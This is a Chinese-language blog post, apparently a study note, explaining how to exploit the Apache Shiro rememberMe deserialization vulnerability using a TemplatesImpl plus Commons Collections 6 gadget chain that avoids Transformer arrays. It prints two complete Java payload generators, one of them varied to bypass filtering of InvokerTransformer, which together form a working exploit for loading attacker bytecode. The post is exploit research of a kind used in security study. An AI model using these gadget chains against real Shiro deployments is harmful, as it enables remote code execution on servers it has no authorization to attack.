TemplatesImpl结合cc6在Shiro中的利用
TemplatesImpl结合cc6在Shiro中的利用
这个文章也是参考p牛的文章;但其中许多细节,就比如为什么普通的Transformer[]数组链不能再shiro中使用;
但其中大致原理还是说一下
先说下shiro反序列化的原理
简单来说就是
shiro 会将用户的登录信息进行序列化保存在Cookie的rememberMe字段中,在服务端读取用户信息时会对这个这段进行一次反序列化;导致客户端可控rememberMe字段的情况下导致的反序列化漏洞;但shiro做了一些校验,先效验aes的key(对其进行一次解密操作),然后再进行反序列化;但shiro550中存在默认的key,导致攻击者知道了这个key后,进行一次aes加密,就可以进行反序列化漏洞的利用;
在这篇文章中主要写的是TemplatesImpl结合cc6在Shiro中的利用;也就是说主题是TemplatesImpl结合cc6;
先来看背景;正常的cc6是无法打shiro的tomcat会报错

原因是:在shiro.io包中重写了resolveClass方法;从ClassUtils.forName(osc.getName())可以看出来这个方法在java中是用来寻找类名的;

而在其父类中使用的是原生的Class.forName

这里直接给出结论:在shiro中使用它自身的反序列化机制;(ClassResolvingObjectInputStream) 无法正确处理包含非Java核心库数组类(如 Transformer[])的序列化流
也就是说shiro中的ClassUtils.forName方法无法"处理"对非java自身的数组的序列化流;
因此这里这里需要构造不含数组的反序列化gadget;
在cc链的调用链中我们知道;它的注入过程是依赖数组形式调用链的;

在之前的动态加载字节码中我们可以绕过InvokerTransformer和Runtime.class;等但依旧依赖Transformer[]数组;
但在LazyMap的get方法中,我们看到它的transform(key);这里传入一个key参数

正常cc链来说,这个key参数无关紧要;因为new ConstantTransformer(Runtime.class)已经可以初始化类对象了;但现在是无法使用Transform数组的;
我们先来看ConstantTransformer这个方法干了什么

可以看到他的作用就是"传进去一个类,在构造transform链子时,返回这个类";而new ConstantTransformer(Runtime.class)正好可以初始化;在比对一下发现 azyMap的get方法中和这个 ConstantTransformer的功能是一样的;传进去一个类,在ChainedTransformer调用时调用transform(Object input) 这里的input 相当于key ;也就是说,如果我们控制这个key为我们传进去的恶意类不也可以初始化了吗;
但是这里不可以使用数组该怎么传进去恶意的指令呢;这里就要回到之前使用过的动态加载字节码(TemplateImp)来绕过了;
如何传入key呢;在整条链子中我们可以知道;TiedMapEntry类的构造函数中可以传入key,并且调用getvalue时,这个key作为get函数的参数,因此我们只需要在TiedMapEntry对象传入恶意字节码类即可

在之前的上一篇文章,cc6结合动态字节码来绕过限制,具体代码如下;但这里的new ConstantTransformer(obj)是不必要的,因为我们可以直接通过key传入我们的恶意字节码类
Transformer[]transformers new Transformer[]
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",nul1,nul1)
};
以下是完整的payload
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
但p牛这里直接用的InvokerTransformer,我们拓展一下,绕过InvokerTransformer,在上一篇文章中我们使用InstantiateTransformer来绕过,如下代码,这次如法炮制依然使用InstantiateTransformer绕过;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
};
完整代码如下,这段代码中
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class},
new Object[]{""}
);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
// 使用一个临时的无害Class对象(String.class)作为key
TiedMapEntry tme = new TiedMapEntry(outerMap, String.class);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); // 这里会触发一次transform,但无害
// 清除LazyMap中因put操作产生的缓存(清除掉刚刚生成的String实例)
outerMap.clear();
// 修改TiedMapEntry的key为TrAXFilter.class
setFieldValue(tme, "key", TrAXFilter.class);
// 修改transformer为恶意参数
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
// setFieldValue(transformer, "iConstructor", null); // 清除缓存
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}

总结:这篇文章通过shiro的反序列化介绍了,如何通过动态加载字节码(TemplatesImpl)的方式绕过Transform[]数组不可以使用的限制;也就是利用LazyMap的transform方法接受一个key参数;而TiedMapEntry类恰好可以传入一个key;且getvalue调用get方法时会把这个key作为参数;导致了我们可以不使用ConstantTransformer作为构造器就可以实例化恶意类的对象,从而动态加载我们的恶意字节码;最后顺带拓展了一下
使用InstantiateTransformer拓展InvokerTransformer被过滤问题的绕过;
-----------------------------备注----------------------------
参考:
https://github.com/phith0n/JavaThings?tab=readme-ov-file
与其知识星球->代码审计->java系列文章
TemplatesImpl结合cc6在Shiro中的利用的更多相关文章
- shiro中部分SpringCache失效问题
原文:https://www.cnblogs.com/liruiloveparents/p/9392159.html shiro中部分SpringCache失效问题 1.问题抛出 今天在做Spri ...
- Git中如何利用生成SSH个人公钥访问git仓库
Git中如何利用生成SSH个人公钥访问git仓库方法(这里以coding平台为例): 1. 获取 SSH 协议地址 在项目的代码页面点击 SSH 切换到 SSH 协议, 获得访问地址, 请使用这个地址 ...
- C/S模式开发中如何利用WebBrowser控件制作导航窗体
原文:C/S模式开发中如何利用WebBrowser控件制作导航窗体 转自: CSDN 相信不少同学们都做过MIS系统的开发,今天这里不讨论B/S模式开发的问题.来谈谈winform开发.用过市面上常见 ...
- 从零到实现Shiro中Authorization和Authentication的缓存
本文大纲 一.简介 二.缓存的概念 三.自定义实现缓存机制 四.什么是Ehcache 五.Ehcache怎么用 六.Spring对缓存的支持 七.Spring+Ehcache实现 八.Spring+S ...
- shiro中 UnknownAccountException
一 shiro的session.request和response与服务端容器自身的这三个对象的关系 在web.xml中配置了一个Filter,拦截/*,所有的uri.在拦截器中还会调用ShiroFil ...
- shiro中CacheManager相关的类结构介绍,提供redis Cache实现
cacheManager主要用于对shiro中的session.realm中的认证信息.授权信息进行缓存. 1.类结构 2.接口及类介绍 CacheManager 提供根据名字获取cache的作用. ...
- Shiro中的授权问题(二)
上篇博客(Shiro中的授权问题 )我们介绍了Shiro中最最基本的授权问题,以及常见的权限字符的匹配问题.但是这里边还有许多细节需要我们继续介绍,本节我们就来看看Shiro中授权的一些细节问题. 验 ...
- Shiro中的授权问题
在初识Shiro一文中,我们对Shiro的基本使用已经做了简单的介绍,不懂的小伙伴们可以先阅读上文,今天我们就来看看Shiro中的授权问题. Shiro中的授权,大体上可以分为两大类,一类是隐式角色, ...
- Shiro中的Rememberme后出现浏览器500错误
问题详述:在Shiro中添加Remember me功能后,只要勾选Remember me选项为true的时候,浏览器就会跳转到一个不可达页面,并且在Chrome中显示HTTP 500错误. 问题追踪: ...
- CVE-2019-0797漏洞:Windows操作系统中的新零日在攻击中被利用
https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/ 前言 在2019年2月,卡巴实验室的自动漏洞防护(AEP)系统检测 ...
随机推荐
- 记vue修改数组属性,dom不发生变化的问题
目录: 目录 目录: 开篇 正确的姿势 为什么 $set 开篇 今天在写vue的时候,出现了一个以前可能没遇到的问题.我利用一个数组记录列表下按钮的启用.禁用状态,但我点击某个列表项按钮后,会修改当前 ...
- CentOs7 lnmp 安装记录
CentOs7 lnmp 安装记录 安装php 选择安装目录 # eg:/usr/src cd /usr/src 安装必要的源 yum -y install pcre pcre-devel zlib ...
- k8s 报错: node(s) didn't match Pod's node affinity.
前言 k8s集群中,有pod出现了 Affinity ,使用 kubectl describe pod 命令,发现了报错 2 node(s) didn't match Pod's node affin ...
- mac php.ini在哪
解答 mac 默认没有 php.ini 文件,但是有对应的模版文件 php.ini.default,位于/etc/php.ini.default,可以拷贝一份进行修改. cd /etc sudo cp ...
- docker报错 ERROR: Service 'workspace' failed to build: ERROR: Service 'php-fpm' failed to build:
在 Windows 系统中使用 Laradock 搭建基于 Docker 的 PHP 开发环境 执行命令 docker-compose up nginx mysql redis 执行过程中出现错误 报 ...
- nginx同时使用(http)80和(https)443端口详解
server { listen 443 ssl; #监听https 443时需加ssl server_name ; #你的域名 ssl on; ssl_certificate ; #证书路径 ssl_ ...
- [每日算法 - 华为机试] LeetCode1160. 拼写单词
题目入口 力扣https://leetcode.cn/problems/find-words-that-can-be-formed-by-characters/ 题目概述 给你一份『词汇表』(字符串数 ...
- StringBuilder的介绍、构造方法及成员方法
1.StringBuilder的介绍 1.StringBuilder是字符串缓冲区,可以认为是一种容器,能装任何类型的数据,但被装入的数据都会变为字符串 如图 无论是什么类型的数据,被装入字符串缓冲区 ...
- JBoltAI 与 AIGS 的深度融合:重构企业数智化未来
在企业数智化转型浪潮中,JBoltAI 凭借其独特的 AIGS(AI Generate Service)解决方案,正成为连接大模型能力与企业实际需求的桥梁.其核心价值在于通过技术框架的重构,将 AI ...
- Linux下more命令高级用法
我们在 Linux 环境下工作时,每天肯定会跟各种各样的文本文件打交道.这些文件,有时候会非常长,无法在一屏的空间内显示完全.所以,在查看这种文件时,我们需要分页显示.这时,我们就可以使用 more ...